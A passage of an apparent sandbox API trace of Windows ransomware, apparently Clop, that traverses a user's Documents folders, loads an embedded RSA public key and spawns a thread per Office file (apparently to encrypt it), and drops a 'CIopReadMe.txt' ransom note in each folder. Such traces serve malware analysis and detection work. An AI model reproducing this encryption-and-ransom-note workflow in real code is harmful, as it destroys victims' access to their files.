(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0091.576] CloseHandle (hObject=0x43c) returned 1 [0091.576] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0091.576] FindClose (in: hFindFile=0x5c35d0 | out: hFindFile=0x5c35d0) returned 1 [0091.576] FindClose (in: hFindFile=0x5c35d0 | out: hFindFile=0x5c35d0) returned 0 [0091.576] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0091.576] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*" [0091.576] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x5c3350 [0091.576] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0091.576] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0091.576] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0091.576] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.576] FindNextFileW (in: hFindFile=0x5c3350, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.576] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0091.576] FindNextFileW (in: hFindFile=0x5c3350, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.577] FindNextFileW (in: hFindFile=0x5c3350, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.577] FindNextFileW (in: hFindFile=0x5c3350, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.577] FindNextFileW (in: hFindFile=0x5c3350, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.577] FindNextFileW (in: hFindFile=0x5c3350, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.577] FindNextFileW (in: hFindFile=0x5c3350, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0091.577] FindClose (in: hFindFile=0x5c3350 | out: hFindFile=0x5c3350) returned 1 [0091.577] FindClose (in: hFindFile=0x5c3350 | out: hFindFile=0x5c3350) returned 0 [0091.577] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.577] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.577] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.577] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0091.577] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 1 [0091.577] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 0 [0091.577] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0091.577] lstrcmpW (lpString1="1gqxJ7phl", lpString2="..") returned 1 [0091.577] lstrcmpW (lpString1="1gqxJ7phl", lpString2=".") returned 1 [0091.577] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0091.577] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0091.577] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0091.577] SetErrorMode (uMode=0x1) returned 0x1 [0091.577] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0091.577] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0091.577] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0091.577] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*" [0091.577] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x5c3790 [0091.577] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="1gqxJ7phl" [0091.577] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="1gqxJ7phl" | out: lpString1="1gqxJ7phl") returned="1gqxJ7phl" [0091.578] FindNextFileW (in: hFindFile=0x5c3790, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.578] FindNextFileW (in: hFindFile=0x5c3790, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.578] lstrcmpW (lpString1="LJ2-ZSo63V_7d.xlsx", lpString2="..") returned 1 [0091.578] lstrcmpW (lpString1="LJ2-ZSo63V_7d.xlsx", lpString2=".") returned 1 [0091.578] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned 78 [0091.578] Sleep (dwMilliseconds=0xd) [0091.615] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.615] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="LJ2-ZSo63V_7d.xlsx" | out: lpString1="LJ2-ZSo63V_7d.xlsx") returned="LJ2-ZSo63V_7d.xlsx" [0091.615] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0091.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c [0091.616] WaitForSingleObject (hHandle=0x43c, dwMilliseconds=0xffffffff) returned 0x0 [0091.720] SetErrorMode (uMode=0x1) returned 0x1 [0091.720] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\CIopReadMe.txt") returned 88 [0091.720] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\1gqxj7phl\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.721] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0091.721] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0091.721] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0091.721] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0091.721] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0091.721] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\1gqxj7phl\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0091.722] WriteFile (in: hFile=0x424, lpBuffer=0x6285d8*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc3594, lpOverlapped=0x0 | out: lpBuffer=0x6285d8*, lpNumberOfBytesWritten=0x2dc3594*=0x759, lpOverlapped=0x0) returned 1 [0091.723] CloseHandle (hObject=0x424) returned 1 [0091.723] FindNextFileW (in: hFindFile=0x5c3790, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.723] lstrcmpW (lpString1="pdKaXJhzd7zYz7o.doc", lpString2="..") returned 1 [0091.723] lstrcmpW (lpString1="pdKaXJhzd7zYz7o.doc", lpString2=".") returned 1 [0091.723] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned 78 [0091.723] Sleep (dwMilliseconds=0xd) [0091.747] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.747] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="pdKaXJhzd7zYz7o.doc" | out: lpString1="pdKaXJhzd7zYz7o.doc") returned="pdKaXJhzd7zYz7o.doc" [0091.747] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0091.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424 [0091.748] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0xffffffff) returned 0x0 [0091.785] SetErrorMode (uMode=0x1) returned 0x1 [0091.785] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\CIopReadMe.txt") returned 88 [0091.785] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\1gqxj7phl\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0091.785] CloseHandle (hObject=0x44c) returned 1 [0091.785] FindNextFileW (in: hFindFile=0x5c3790, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0091.785] FindClose (in: hFindFile=0x5c3790 | out: hFindFile=0x5c3790) returned 1 [0091.785] FindClose (in: hFindFile=0x5c3790 | out: hFindFile=0x5c3790) returned 0 [0091.785] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0091.785] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*" [0091.785] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x5c35d0 [0091.785] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="1gqxJ7phl" [0091.785] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="1gqxJ7phl" | out: lpString1="1gqxJ7phl") returned="1gqxJ7phl" [0091.786] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0091.786] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.786] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.786] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0091.786] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.786] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.786] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.786] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0091.786] FindClose (in: hFindFile=0x5c35d0 | out: hFindFile=0x5c35d0) returned 1 [0091.786] FindClose (in: hFindFile=0x5c35d0 | out: hFindFile=0x5c35d0) returned 0 [0091.786] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0091.786] lstrcmpW (lpString1="4cjd3SaCmW1", lpString2="..") returned 1 [0091.786] lstrcmpW (lpString1="4cjd3SaCmW1", lpString2=".") returned 1 [0091.786] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0091.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0091.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0091.786] SetErrorMode (uMode=0x1) returned 0x1 [0091.786] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0091.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0091.786] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0091.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*" [0091.786] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x5c39d0 [0091.786] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="4cjd3SaCmW1" [0091.786] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="4cjd3SaCmW1" | out: lpString1="4cjd3SaCmW1") returned="4cjd3SaCmW1" [0091.786] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.786] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.787] lstrcmpW (lpString1="3kj8Y-EDPTFO.pptx", lpString2="..") returned 1 [0091.787] lstrcmpW (lpString1="3kj8Y-EDPTFO.pptx", lpString2=".") returned 1 [0091.787] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned 80 [0091.787] Sleep (dwMilliseconds=0xd) [0091.809] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.809] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="3kj8Y-EDPTFO.pptx" | out: lpString1="3kj8Y-EDPTFO.pptx") returned="3kj8Y-EDPTFO.pptx" [0091.809] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: 